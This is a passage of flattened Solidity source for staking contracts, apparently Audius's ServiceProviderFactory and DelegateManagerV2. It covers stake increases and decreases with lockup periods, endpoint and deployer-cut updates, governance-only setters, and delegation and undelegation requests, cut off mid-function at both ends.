// Decrement number of endpoints for this address
spDetails[msg.sender].numberOfEndpoints -= 1;
// Update min and max totals for this service provider
(, uint256 typeMin, uint256 typeMax) = ServiceTypeManager(
serviceTypeManagerAddress
).getServiceTypeInfo(_serviceType);
spDetails[msg.sender].minAccountStake = spDetails[msg.sender].minAccountStake.sub(typeMin);
spDetails[msg.sender].maxAccountStake = spDetails[msg.sender].maxAccountStake.sub(typeMax);
emit DeregisteredServiceProvider(
deregisteredID,
_serviceType,
msg.sender,
_endpoint,
unstakeAmount);
// Confirm both aggregate account balance and directly staked amount are valid
// Only if unstake operation has not occurred
if (!unstaked) {
this.validateAccountStakeBalance(msg.sender);
// Indicate this service provider is within bounds
spDetails[msg.sender].validBounds = true;
}
return deregisteredID;
}
/**
* @notice Increase stake for service provider
* @param _increaseStakeAmount - amount to increase staked amount by
* @return New total stake for service provider
*/
function increaseStake(
uint256 _increaseStakeAmount
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireClaimsManagerAddressIsSet();
// Confirm owner has an endpoint
require(
spDetails[msg.sender].numberOfEndpoints > 0,
"ServiceProviderFactory: Registered endpoint required to increase stake"
);
require(
!_claimPending(msg.sender),
"ServiceProviderFactory: No claim expected to be pending prior to stake transfer"
);
Staking stakingContract = Staking(
stakingAddress
);
// Stake increased token amount for msg.sender
stakingContract.stakeFor(msg.sender, _increaseStakeAmount);
uint256 newStakeAmount = stakingContract.totalStakedFor(msg.sender);
// Update deployer total
spDetails[msg.sender].deployerStake = (
spDetails[msg.sender].deployerStake.add(_increaseStakeAmount)
);
// Confirm both aggregate account balance and directly staked amount are valid
this.validateAccountStakeBalance(msg.sender);
// Indicate this service provider is within bounds
spDetails[msg.sender].validBounds = true;
emit IncreasedStake(
msg.sender,
_increaseStakeAmount,
newStakeAmount
);
return newStakeAmount;
}
/**
* @notice Request to decrease stake. This sets a lockup for decreaseStakeLockupDuration after
which the actual decreaseStake can be called
* @dev Decreasing stake is only processed if a service provider is within valid bounds
* @param _decreaseStakeAmount - amount to decrease stake by in wei
* @return New total stake amount after the lockup
*/
function requestDecreaseStake(uint256 _decreaseStakeAmount)
external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireClaimsManagerAddressIsSet();
require(
_decreaseStakeAmount > 0,
"ServiceProviderFactory: Requested stake decrease amount must be greater than zero"
);
require(
!_claimPending(msg.sender),
"ServiceProviderFactory: No claim expected to be pending prior to stake transfer"
);
Staking stakingContract = Staking(
stakingAddress
);
uint256 currentStakeAmount = stakingContract.totalStakedFor(msg.sender);
// Prohibit decreasing stake to invalid bounds
_validateBalanceInternal(msg.sender, (currentStakeAmount.sub(_decreaseStakeAmount)));
uint256 expiryBlock = block.number.add(decreaseStakeLockupDuration);
decreaseStakeRequests[msg.sender] = DecreaseStakeRequest({
decreaseAmount: _decreaseStakeAmount,
lockupExpiryBlock: expiryBlock
});
emit DecreaseStakeRequested(msg.sender, _decreaseStakeAmount, expiryBlock);
return currentStakeAmount.sub(_decreaseStakeAmount);
}
/**
* @notice Cancel a decrease stake request during the lockup
* @dev Either called by the service provider via DelegateManager or governance
during a slash action
* @param _account - address of service provider
*/
function cancelDecreaseStakeRequest(address _account) external
{
_requireIsInitialized();
_requireDelegateManagerAddressIsSet();
require(
msg.sender == _account || msg.sender == delegateManagerAddress,
"ServiceProviderFactory: Only owner or DelegateManager"
);
require(
_decreaseRequestIsPending(_account),
"ServiceProviderFactory: Decrease stake request must be pending"
);
DecreaseStakeRequest memory cancelledRequest = decreaseStakeRequests[_account];
// Clear decrease stake request
decreaseStakeRequests[_account] = DecreaseStakeRequest({
decreaseAmount: 0,
lockupExpiryBlock: 0
});
emit DecreaseStakeRequestCancelled(
_account,
cancelledRequest.decreaseAmount,
cancelledRequest.lockupExpiryBlock
);
}
/**
* @notice Called by user to decrease a stake after waiting the appropriate lockup period.
* @return New total stake after decrease
*/
function decreaseStake() external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
require(
_decreaseRequestIsPending(msg.sender),
"ServiceProviderFactory: Decrease stake request must be pending"
);
require(
decreaseStakeRequests[msg.sender].lockupExpiryBlock <= block.number,
"ServiceProviderFactory: Lockup must be expired"
);
Staking stakingContract = Staking(
stakingAddress
);
uint256 decreaseAmount = decreaseStakeRequests[msg.sender].decreaseAmount;
// Decrease staked token amount for msg.sender
stakingContract.unstakeFor(msg.sender, decreaseAmount);
// Query current stake
uint256 newStakeAmount = stakingContract.totalStakedFor(msg.sender);
// Update deployer total
spDetails[msg.sender].deployerStake = (
spDetails[msg.sender].deployerStake.sub(decreaseAmount)
);
// Confirm both aggregate account balance and directly staked amount are valid
// During registration this validation is bypassed since no endpoints remain
if (spDetails[msg.sender].numberOfEndpoints > 0) {
this.validateAccountStakeBalance(msg.sender);
}
// Indicate this service provider is within bounds
spDetails[msg.sender].validBounds = true;
// Clear decrease stake request
delete decreaseStakeRequests[msg.sender];
emit DecreaseStakeRequestEvaluated(msg.sender, decreaseAmount, newStakeAmount);
return newStakeAmount;
}
/**
* @notice Update delegate owner wallet for a given endpoint
* @param _serviceType - type of service to register, must be valid in ServiceTypeManager
* @param _endpoint - url of the service to register - url of the service to register
* @param _updatedDelegateOwnerWallet - address of new delegate wallet
*/
function updateDelegateOwnerWallet(
bytes32 _serviceType,
string calldata _endpoint,
address _updatedDelegateOwnerWallet
) external
{
_requireIsInitialized();
uint256 spID = this.getServiceProviderIdFromEndpoint(_endpoint);
require(
serviceProviderInfo[_serviceType][spID].owner == msg.sender,
"ServiceProviderFactory: Invalid update operation, wrong owner"
);
serviceProviderInfo[_serviceType][spID].delegateOwnerWallet = _updatedDelegateOwnerWallet;
emit DelegateOwnerWalletUpdated(
msg.sender,
_serviceType,
spID,
_updatedDelegateOwnerWallet
);
}
/**
* @notice Update the endpoint for a given service
* @param _serviceType - type of service to register, must be valid in ServiceTypeManager
* @param _oldEndpoint - old endpoint currently registered
* @param _newEndpoint - new endpoint to replace old endpoint
* @return ID of updated service provider
*/
function updateEndpoint(
bytes32 _serviceType,
string calldata _oldEndpoint,
string calldata _newEndpoint
) external returns (uint256)
{
_requireIsInitialized();
uint256 spId = this.getServiceProviderIdFromEndpoint(_oldEndpoint);
require (
spId != 0,
"ServiceProviderFactory: Could not find service provider with that endpoint"
);
ServiceEndpoint memory serviceEndpoint = serviceProviderInfo[_serviceType][spId];
require(
serviceEndpoint.owner == msg.sender,
"ServiceProviderFactory: Invalid update endpoint operation, wrong owner"
);
require(
keccak256(bytes(serviceEndpoint.endpoint)) == keccak256(bytes(_oldEndpoint)),
"ServiceProviderFactory: Old endpoint doesn't match what's registered for the service provider"
);
// invalidate old endpoint
serviceProviderEndpointToId[keccak256(bytes(serviceEndpoint.endpoint))] = 0;
// update to new endpoint
serviceEndpoint.endpoint = _newEndpoint;
serviceProviderInfo[_serviceType][spId] = serviceEndpoint;
serviceProviderEndpointToId[keccak256(bytes(_newEndpoint))] = spId;
emit EndpointUpdated(_serviceType, msg.sender, _oldEndpoint, _newEndpoint, spId);
return spId;
}
/**
* @notice Update the deployer cut for a given service provider
* @param _serviceProvider - address of service provider
* @param _cut - new value for deployer cut
*/
function requestUpdateDeployerCut(address _serviceProvider, uint256 _cut) external
{
_requireIsInitialized();
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
require(
(updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock == 0) &&
(updateDeployerCutRequests[_serviceProvider].newDeployerCut == 0),
"ServiceProviderFactory: Update deployer cut operation pending"
);
require(
_cut <= DEPLOYER_CUT_BASE,
"ServiceProviderFactory: Service Provider cut cannot exceed base value"
);
uint256 expiryBlock = block.number + deployerCutLockupDuration;
updateDeployerCutRequests[_serviceProvider] = UpdateDeployerCutRequest({
lockupExpiryBlock: expiryBlock,
newDeployerCut: _cut
});
emit DeployerCutUpdateRequested(_serviceProvider, _cut, expiryBlock);
}
/**
* @notice Cancel a pending request to update deployer cut
* @param _serviceProvider - address of service provider
*/
function cancelUpdateDeployerCut(address _serviceProvider) external
{
_requireIsInitialized();
_requirePendingDeployerCutOperation(_serviceProvider);
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
UpdateDeployerCutRequest memory cancelledRequest = (
updateDeployerCutRequests[_serviceProvider]
);
// Zero out request information
delete updateDeployerCutRequests[_serviceProvider];
emit DeployerCutUpdateRequestCancelled(
_serviceProvider,
cancelledRequest.newDeployerCut,
spDetails[_serviceProvider].deployerCut
);
}
/**
* @notice Evalue request to update service provider cut of claims
* @notice Update service provider cut as % of delegate claim, divided by the deployerCutBase.
* @dev SPs will interact with this value as a percent, value translation done client side
@dev A value of 5 dictates a 5% cut, with ( 5 / 100 ) * delegateReward going to an SP from each delegator each round.
*/
function updateDeployerCut(address _serviceProvider) external
{
_requireIsInitialized();
_requirePendingDeployerCutOperation(_serviceProvider);
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
require(
updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock <= block.number,
"ServiceProviderFactory: Lockup must be expired"
);
spDetails[_serviceProvider].deployerCut = (
updateDeployerCutRequests[_serviceProvider].newDeployerCut
);
// Zero out request information
delete updateDeployerCutRequests[_serviceProvider];
emit DeployerCutUpdateRequestEvaluated(
_serviceProvider,
spDetails[_serviceProvider].deployerCut
);
}
/**
* @notice Update service provider balance
* @dev Called by DelegateManager by functions modifying entire stake like claim and slash
* @param _serviceProvider - address of service provider
* @param _amount - new amount of direct state for service provider
*/
function updateServiceProviderStake(
address _serviceProvider,
uint256 _amount
) external
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireDelegateManagerAddressIsSet();
require(
msg.sender == delegateManagerAddress,
"ServiceProviderFactory: only callable by DelegateManager"
);
// Update SP tracked total
spDetails[_serviceProvider].deployerStake = _amount;
_updateServiceProviderBoundStatus(_serviceProvider);
}
/// @notice Update service provider lockup duration
function updateDecreaseStakeLockupDuration(uint256 _duration) external {
_requireIsInitialized();
require(
msg.sender == governanceAddress,
ERROR_ONLY_GOVERNANCE
);
_updateDecreaseStakeLockupDuration(_duration);
emit DecreaseStakeLockupDurationUpdated(_duration);
}
/// @notice Update service provider lockup duration
function updateDeployerCutLockupDuration(uint256 _duration) external {
_requireIsInitialized();
require(
msg.sender == governanceAddress,
ERROR_ONLY_GOVERNANCE
);
_updateDeployerCutLockupDuration(_duration);
emit UpdateDeployerCutLockupDurationUpdated(_duration);
}
/// @notice Get denominator for deployer cut calculations
function getServiceProviderDeployerCutBase()
external view returns (uint256)
{
_requireIsInitialized();
return DEPLOYER_CUT_BASE;
}
/// @notice Get current deployer cut update lockup duration
function getDeployerCutLockupDuration()
external view returns (uint256)
{
_requireIsInitialized();
return deployerCutLockupDuration;
}
/// @notice Get total number of service providers for a given serviceType
function getTotalServiceTypeProviders(bytes32 _serviceType)
external view returns (uint256)
{
_requireIsInitialized();
return serviceProviderTypeIDs[_serviceType];
}
/// @notice Get service provider id for an endpoint
function getServiceProviderIdFromEndpoint(string calldata _endpoint)
external view returns (uint256)
{
_requireIsInitialized();
return serviceProviderEndpointToId[keccak256(bytes(_endpoint))];
}
/**
* @notice Get service provider ids for a given service provider and service type
* @return List of service ids of that type for a service provider
*/
function getServiceProviderIdsFromAddress(address _ownerAddress, bytes32 _serviceType)
external view returns (uint256[] memory)
{
_requireIsInitialized();
return serviceProviderAddressToId[_ownerAddress][_serviceType];
}
/**
* @notice Get information about a service endpoint given its service id
* @param _serviceType - type of service, must be a valid service from ServiceTypeManager
* @param _serviceId - id of service
*/
function getServiceEndpointInfo(bytes32 _serviceType, uint256 _serviceId)
external view returns (address owner, string memory endpoint, uint256 blockNumber, address delegateOwnerWallet)
{
_requireIsInitialized();
ServiceEndpoint memory serviceEndpoint = serviceProviderInfo[_serviceType][_serviceId];
return (
serviceEndpoint.owner,
serviceEndpoint.endpoint,
serviceEndpoint.blocknumber,
serviceEndpoint.delegateOwnerWallet
);
}
/**
* @notice Get information about a service provider given their address
* @param _serviceProvider - address of service provider
*/
function getServiceProviderDetails(address _serviceProvider)
external view returns (
uint256 deployerStake,
uint256 deployerCut,
bool validBounds,
uint256 numberOfEndpoints,
uint256 minAccountStake,
uint256 maxAccountStake)
{
_requireIsInitialized();
return (
spDetails[_serviceProvider].deployerStake,
spDetails[_serviceProvider].deployerCut,
spDetails[_serviceProvider].validBounds,
spDetails[_serviceProvider].numberOfEndpoints,
spDetails[_serviceProvider].minAccountStake,
spDetails[_serviceProvider].maxAccountStake
);
}
/**
* @notice Get information about pending decrease stake requests for service provider
* @param _serviceProvider - address of service provider
*/
function getPendingDecreaseStakeRequest(address _serviceProvider)
external view returns (uint256 amount, uint256 lockupExpiryBlock)
{
_requireIsInitialized();
return (
decreaseStakeRequests[_serviceProvider].decreaseAmount,
decreaseStakeRequests[_serviceProvider].lockupExpiryBlock
);
}
/**
* @notice Get information about pending decrease stake requests for service provider
* @param _serviceProvider - address of service provider
*/
function getPendingUpdateDeployerCutRequest(address _serviceProvider)
external view returns (uint256 newDeployerCut, uint256 lockupExpiryBlock)
{
_requireIsInitialized();
return (
updateDeployerCutRequests[_serviceProvider].newDeployerCut,
updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock
);
}
/// @notice Get current unstake lockup duration
function getDecreaseStakeLockupDuration()
external view returns (uint256)
{
_requireIsInitialized();
return decreaseStakeLockupDuration;
}
/**
* @notice Validate that the total service provider balance is between the min and max stakes
for all their registered services and validate direct stake for sp is above minimum
* @param _serviceProvider - address of service provider
*/
function validateAccountStakeBalance(address _serviceProvider)
external view
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_validateBalanceInternal(
_serviceProvider,
Staking(stakingAddress).totalStakedFor(_serviceProvider)
);
}
/// @notice Get the Governance address
function getGovernanceAddress() external view returns (address) {
_requireIsInitialized();
return governanceAddress;
}
/// @notice Get the Staking address
function getStakingAddress() external view returns (address) {
_requireIsInitialized();
return stakingAddress;
}
/// @notice Get the DelegateManager address
function getDelegateManagerAddress() external view returns (address) {
_requireIsInitialized();
return delegateManagerAddress;
}
/// @notice Get the ServiceTypeManager address
function getServiceTypeManagerAddress() external view returns (address) {
_requireIsInitialized();
return serviceTypeManagerAddress;
}
/// @notice Get the ClaimsManager address
function getClaimsManagerAddress() external view returns (address) {
_requireIsInitialized();
return claimsManagerAddress;
}
/**
* @notice Set the Governance address
* @dev Only callable by Governance address
* @param _governanceAddress - address for new Governance contract
*/
function setGovernanceAddress(address _governanceAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateGovernanceAddress(_governanceAddress);
emit GovernanceAddressUpdated(_governanceAddress);
}
/**
* @notice Set the Staking address
* @dev Only callable by Governance address
* @param _address - address for new Staking contract
*/
function setStakingAddress(address _address) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
stakingAddress = _address;
emit StakingAddressUpdated(_address);
}
/**
* @notice Set the DelegateManager address
* @dev Only callable by Governance address
* @param _address - address for new DelegateManager contract
*/
function setDelegateManagerAddress(address _address) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
delegateManagerAddress = _address;
emit DelegateManagerAddressUpdated(_address);
}
/**
* @notice Set the ServiceTypeManager address
* @dev Only callable by Governance address
* @param _address - address for new ServiceTypeManager contract
*/
function setServiceTypeManagerAddress(address _address) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
serviceTypeManagerAddress = _address;
emit ServiceTypeManagerAddressUpdated(_address);
}
/**
* @notice Set the ClaimsManager address
* @dev Only callable by Governance address
* @param _address - address for new ClaimsManager contract
*/
function setClaimsManagerAddress(address _address) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
claimsManagerAddress = _address;
emit ClaimsManagerAddressUpdated(_address);
}
// ========================================= Internal Functions =========================================
/**
* @notice Update status in spDetails if the bounds for a service provider is valid
*/
function _updateServiceProviderBoundStatus(address _serviceProvider) internal {
// Validate bounds for total stake
uint256 totalSPStake = Staking(stakingAddress).totalStakedFor(_serviceProvider);
if (totalSPStake < spDetails[_serviceProvider].minAccountStake ||
totalSPStake > spDetails[_serviceProvider].maxAccountStake) {
// Indicate this service provider is out of bounds
spDetails[_serviceProvider].validBounds = false;
} else {
// Indicate this service provider is within bounds
spDetails[_serviceProvider].validBounds = true;
}
}
/**
* @notice Set the governance address after confirming contract identity
* @param _governanceAddress - Incoming governance address
*/
function _updateGovernanceAddress(address _governanceAddress) internal {
require(
Governance(_governanceAddress).isGovernanceAddress() == true,
"ServiceProviderFactory: _governanceAddress is not a valid governance contract"
);
governanceAddress = _governanceAddress;
}
/**
* @notice Set the deployer cut lockup duration
* @param _duration - incoming duration
*/
function _updateDeployerCutLockupDuration(uint256 _duration) internal
{
require(
ClaimsManager(claimsManagerAddress).getFundingRoundBlockDiff() < _duration,
"ServiceProviderFactory: Incoming duration must be greater than funding round block diff"
);
deployerCutLockupDuration = _duration;
}
/**
* @notice Set the decrease stake lockup duration
* @param _duration - incoming duration
*/
function _updateDecreaseStakeLockupDuration(uint256 _duration) internal
{
Governance governance = Governance(governanceAddress);
require(
_duration > governance.getVotingPeriod() + governance.getExecutionDelay(),
"ServiceProviderFactory: decreaseStakeLockupDuration duration must be greater than governance votingPeriod + executionDelay"
);
decreaseStakeLockupDuration = _duration;
}
/**
* @notice Compare a given amount input against valid min and max bounds for service provider
* @param _serviceProvider - address of service provider
* @param _amount - amount in wei to compare
*/
function _validateBalanceInternal(address _serviceProvider, uint256 _amount) internal view
{
require(
_amount <= spDetails[_serviceProvider].maxAccountStake,
"ServiceProviderFactory: Maximum stake amount exceeded"
);
require(
spDetails[_serviceProvider].deployerStake >= spDetails[_serviceProvider].minAccountStake,
"ServiceProviderFactory: Minimum stake requirement not met"
);
}
/**
* @notice Get whether a decrease request has been initiated for service provider
* @param _serviceProvider - address of service provider
* return Boolean of whether decrease request has been initiated
*/
function _decreaseRequestIsPending(address _serviceProvider)
internal view returns (bool)
{
return (
(decreaseStakeRequests[_serviceProvider].lockupExpiryBlock > 0) &&
(decreaseStakeRequests[_serviceProvider].decreaseAmount > 0)
);
}
/**
* @notice Boolean indicating whether a claim is pending for this service provider
*/
/**
* @notice Get whether a claim is pending for this service provider
* @param _serviceProvider - address of service provider
* return Boolean of whether claim is pending
*/
function _claimPending(address _serviceProvider) internal view returns (bool) {
return ClaimsManager(claimsManagerAddress).claimPending(_serviceProvider);
}
// ========================================= Private Functions =========================================
function _requirePendingDeployerCutOperation (address _serviceProvider) private view {
require(
(updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock != 0),
"ServiceProviderFactory: No update deployer cut operation pending"
);
}
function _requireStakingAddressIsSet() private view {
require(
stakingAddress != address(0x00),
"ServiceProviderFactory: stakingAddress is not set"
);
}
function _requireDelegateManagerAddressIsSet() private view {
require(
delegateManagerAddress != address(0x00),
"ServiceProviderFactory: delegateManagerAddress is not set"
);
}
function _requireServiceTypeManagerAddressIsSet() private view {
require(
serviceTypeManagerAddress != address(0x00),
"ServiceProviderFactory: serviceTypeManagerAddress is not set"
);
}
function _requireClaimsManagerAddressIsSet() private view {
require(
claimsManagerAddress != address(0x00),
"ServiceProviderFactory: claimsManagerAddress is not set"
);
}
}
// File: contracts/DelegateManager.sol
pragma solidity ^0.5.0;
/// @notice SafeMath imported via ServiceProviderFactory.sol
/// @notice Governance imported via Staking.sol
/**
* Designed to manage delegation to staking contract
*/
contract DelegateManagerV2 is InitializableV2 {
using SafeMath for uint256;
string private constant ERROR_ONLY_GOVERNANCE = (
"DelegateManager: Only callable by Governance contract"
);
string private constant ERROR_MINIMUM_DELEGATION = (
"DelegateManager: Minimum delegation amount required"
);
string private constant ERROR_ONLY_SP_GOVERNANCE = (
"DelegateManager: Only callable by target SP or governance"
);
string private constant ERROR_DELEGATOR_STAKE = (
"DelegateManager: Delegator must be staked for SP"
);
address private governanceAddress;
address private stakingAddress;
address private serviceProviderFactoryAddress;
address private claimsManagerAddress;
/**
* Period in blocks an undelegate operation is delayed.
* The undelegate operation speed bump is to prevent a delegator from
* attempting to remove their delegation in anticipation of a slash.
* @notice Must be greater than governance votingPeriod + executionDelay
*/
uint256 private undelegateLockupDuration;
/// @notice Maximum number of delegators a single account can handle
uint256 private maxDelegators;
/// @notice Minimum amount of delegation allowed
uint256 private minDelegationAmount;
/**
* Lockup duration for a remove delegator request.
* The remove delegator speed bump is to prevent a service provider from maliciously
* removing a delegator prior to the evaluation of a proposal.
* @notice Must be greater than governance votingPeriod + executionDelay
*/
uint256 private removeDelegatorLockupDuration;
/**
* Evaluation period for a remove delegator request
* @notice added to expiry block calculated for removeDelegatorLockupDuration
*/
uint256 private removeDelegatorEvalDuration;
// Staking contract ref
ERC20Mintable private audiusToken;
// Struct representing total delegated to SP and list of delegators
struct ServiceProviderDelegateInfo {
uint256 totalDelegatedStake;
uint256 totalLockedUpStake;
address[] delegators;
}
// Data structures for lockup during withdrawal
struct UndelegateStakeRequest {
address serviceProvider;
uint256 amount;
uint256 lockupExpiryBlock;
}
// Service provider address -> ServiceProviderDelegateInfo
mapping (address => ServiceProviderDelegateInfo) private spDelegateInfo;
// Delegator stake by address delegated to
// delegator -> (service provider -> delegatedStake)
mapping (address => mapping(address => uint256)) private delegateInfo;
// Delegator stake total by address
// delegator -> (totalDelegated)
// Note - delegator properties are maintained in a mapping instead of struct
// in order to facilitate extensibility in the future.
mapping (address => uint256) private delegatorTotalStake;
// Requester to pending undelegate request
mapping (address => UndelegateStakeRequest) private undelegateRequests;
// Pending remove delegator requests
// service provider -> (delegator -> lockupExpiryBlock)
mapping (address => mapping (address => uint256)) private removeDelegatorRequests;
event IncreaseDelegatedStake(
address indexed _delegator,
address indexed _serviceProvider,
uint256 indexed _increaseAmount
);
event UndelegateStakeRequested(
address indexed _delegator,
address indexed _serviceProvider,
uint256 indexed _amount,
uint256 _lockupExpiryBlock
);
event UndelegateStakeRequestCancelled(
address indexed _delegator,
address indexed _serviceProvider,
uint256 indexed _amount
);
event UndelegateStakeRequestEvaluated(
address indexed _delegator,
address indexed _serviceProvider,
uint256 indexed _amount
);
event Claim(
address indexed _claimer,
uint256 indexed _rewards,
uint256 indexed _newTotal
);
event Slash(
address indexed _target,
uint256 indexed _amount,
uint256 indexed _newTotal
);
event RemoveDelegatorRequested(
address indexed _serviceProvider,
address indexed _delegator,
uint256 indexed _lockupExpiryBlock
);
event RemoveDelegatorRequestCancelled(
address indexed _serviceProvider,
address indexed _delegator
);
event RemoveDelegatorRequestEvaluated(
address indexed _serviceProvider,
address indexed _delegator,
uint256 indexed _unstakedAmount
);
event MaxDelegatorsUpdated(uint256 indexed _maxDelegators);
event MinDelegationUpdated(uint256 indexed _minDelegationAmount);
event UndelegateLockupDurationUpdated(uint256 indexed _undelegateLockupDuration);
event GovernanceAddressUpdated(address indexed _newGovernanceAddress);
event StakingAddressUpdated(address indexed _newStakingAddress);
event ServiceProviderFactoryAddressUpdated(address indexed _newServiceProviderFactoryAddress);
event ClaimsManagerAddressUpdated(address indexed _newClaimsManagerAddress);
event RemoveDelegatorLockupDurationUpdated(uint256 indexed _removeDelegatorLockupDuration);
event RemoveDelegatorEvalDurationUpdated(uint256 indexed _removeDelegatorEvalDuration);
// ========================================= New State Variables =========================================
string private constant ERROR_ONLY_SERVICE_PROVIDER = (
"DelegateManager: Only callable by valid Service Provider"
);
// minDelegationAmount per service provider
mapping (address => uint256) private spMinDelegationAmounts;
event SPMinDelegationAmountUpdated(
address indexed _serviceProvider,
uint256 indexed _spMinDelegationAmount
);
// ========================================= Modifier Functions =========================================
/**
* @notice Function to initialize the contract
* @dev stakingAddress must be initialized separately after Staking contract is deployed
* @dev serviceProviderFactoryAddress must be initialized separately after ServiceProviderFactory contract is deployed
* @dev claimsManagerAddress must be initialized separately after ClaimsManager contract is deployed
* @param _tokenAddress - address of ERC20 token that will be claimed
* @param _governanceAddress - Governance proxy address
*/
function initialize (
address _tokenAddress,
address _governanceAddress,
uint256 _undelegateLockupDuration
) public initializer
{
_updateGovernanceAddress(_governanceAddress);
audiusToken = ERC20Mintable(_tokenAddress);
maxDelegators = 175;
// Default minimum delegation amount set to 100AUD
minDelegationAmount = 100 * 10**uint256(18);
InitializableV2.initialize();
_updateUndelegateLockupDuration(_undelegateLockupDuration);
// 1 week = 168hrs * 60 min/hr * 60 sec/min / ~13 sec/block = 46523 blocks
_updateRemoveDelegatorLockupDuration(46523);
// 24hr * 60min/hr * 60sec/min / ~13 sec/block = 6646 blocks
removeDelegatorEvalDuration = 6646;
}
/**
* @notice Allow a delegator to delegate stake to a service provider
* @param _targetSP - address of service provider to delegate to
* @param _amount - amount in wei to delegate
* @return Updated total amount delegated to the service provider by delegator
*/
function delegateStake(
address _targetSP,
uint256 _amount
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireClaimsManagerAddressIsSet();
require(
!_claimPending(_targetSP),
"DelegateManager: Delegation not permitted for SP pending claim"
);
address delegator = msg.sender;
Staking stakingContract = Staking(stakingAddress);
// Stake on behalf of target service provider
stakingContract.delegateStakeFor(
_targetSP,
delegator,
_amount
);
// Update list of delegators to SP if necessary
if (!_delegatorExistsForSP(delegator, _targetSP)) {
// If not found, update list of delegates
spDelegateInfo[_targetSP].delegators.push(delegator);
require(
spDelegateInfo[_targetSP].delegators.length <= maxDelegators,
"DelegateManager: Maximum delegators exceeded"
);
}
// Update following values in storage through helper
// totalServiceProviderDelegatedStake = current sp total + new amount,
// totalStakedForSpFromDelegator = current delegator total for sp + new amount,
// totalDelegatorStake = current delegator total + new amount
_updateDelegatorStake(
delegator,
_targetSP,
spDelegateInfo[_targetSP].totalDelegatedStake.add(_amount),
delegateInfo[delegator][_targetSP].add(_amount),
delegatorTotalStake[delegator].add(_amount)
);
// Need to ensure delegationAmount is >= both minDelegationAmount and spMinDelegationAmount
// since spMinDelegationAmount by default is 0
require(
(delegateInfo[delegator][_targetSP] >= minDelegationAmount &&
delegateInfo[delegator][_targetSP] >= spMinDelegationAmounts[_targetSP]
),
ERROR_MINIMUM_DELEGATION
);
// Validate balance
ServiceProviderFactory(
serviceProviderFactoryAddress
).validateAccountStakeBalance(_targetSP);
emit IncreaseDelegatedStake(
delegator,
_targetSP,
_amount
);
// Return new total
return delegateInfo[delegator][_targetSP];
}
/**
* @notice Submit request for undelegation
* @param _target - address of service provider to undelegate stake from
* @param _amount - amount in wei to undelegate
* @return Updated total amount delegated to the service provider by delegator
*/
function requestUndelegateStake(
address _target,
uint256 _amount
) external returns (uint256)
{
_requireIsInitialized();
_requireClaimsManagerAddressIsSet();
require(
_amount > 0,
"DelegateManager: Requested undelegate stake amount must be greater than zero"
);
require(
!_claimPending(_target),
"DelegateManager: Undelegate request not permitted for SP pending claim"
);
address delegator = msg.sender;
require(
_delegatorExistsForSP(delegator, _target),
ERROR_DELEGATOR_STAKE
);
// Confirm no pending delegation request
require(
!_undelegateRequestIsPending(delegator),
"DelegateManager: No pending lockup expected"
);
// Ensure valid bounds
uint256 currentlyDelegatedToSP = delegateInfo[delegator][_target];
require(
_amount <= currentlyDelegatedToSP,
"DelegateManager: Cannot decrease greater than currently staked for this ServiceProvider"
);
// Submit updated request for sender, with target sp, undelegate amount, target expiry block
uint256 lockupExpiryBlock = block.number.add(undelegateLockupDuration);
_updateUndelegateStakeRequest(
delegator,
_target,
_amount,
lockupExpiryBlock
);
// Update total locked for this service provider, increasing by unstake amount
_updateServiceProviderLockupAmount(
_target,
spDelegateInfo[_target].totalLockedUpStake.add(_amount)
);
emit UndelegateStakeRequested(delegator, _target, _amount, lockupExpiryBlock);
return delegateInfo[delegator][_target].sub(_amount);
}
/**
* @notice Cancel undelegation request
*/
function cancelUndelegateStakeRequest() external {
_requireIsInitialized();
address delegator = msg.sender;
// Confirm pending delegation request
require(
_undelegateRequestIsPending(delegator),
"DelegateManager: Pending lockup expected"
);
uint256 unstakeAmount = undelegateRequests[delegator].amount;
address unlockFundsSP = undelegateRequests[delegator].serviceProvider;
// Update total locked for this service provider, decreasing by unstake amount
_updateServiceProviderLockupAmount(
unlockFundsSP,
spDelegateInfo[unlockFundsSP].totalLockedUpStake.sub(unstakeAmount)
);
// Remove pending request
_resetUndelegateStakeRequest(delegator);
emit UndelegateStakeRequestCancelled(delegator, unlockFundsSP, unstakeAmount);
}
/**
* @notice Finalize undelegation request and withdraw stake
* @return New total amount currently staked after stake has been undelegated
*/
function undelegateStake() external returns (uint256) {
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireClaimsManagerAddressIsSet();
address delegator = msg.sender;
// Confirm pending delegation request
require(
_undelegateRequestIsPending(delegator),
"DelegateManager: Pending lockup expected"
);
// Confirm lockup expiry has expired
require(
undelegateRequests[delegator].lockupExpiryBlock <= block.number,
"DelegateManager: Lockup must be expired"
);
// Confirm no pending claim for this service provider
require(
!_claimPending(undelegateRequests[delegator].serviceProvider),
"DelegateManager: Undelegate not permitted for SP pending claim"
);
address serviceProvider = undelegateRequests[delegator].serviceProvider;
uint256 unstakeAmount = undelegateRequests[delegator].amount;
// Unstake on behalf of target service provider
Staking(stakingAddress).undelegateStakeFor(
serviceProvider,
delegator,
unstakeAmount
);
// Update total delegated for SP
// totalServiceProviderDelegatedStake - total amount delegated to service provider
// totalStakedForSpFromDelegator - amount staked from this delegator to targeted service provider
_updateDelegatorStake(
delegator,
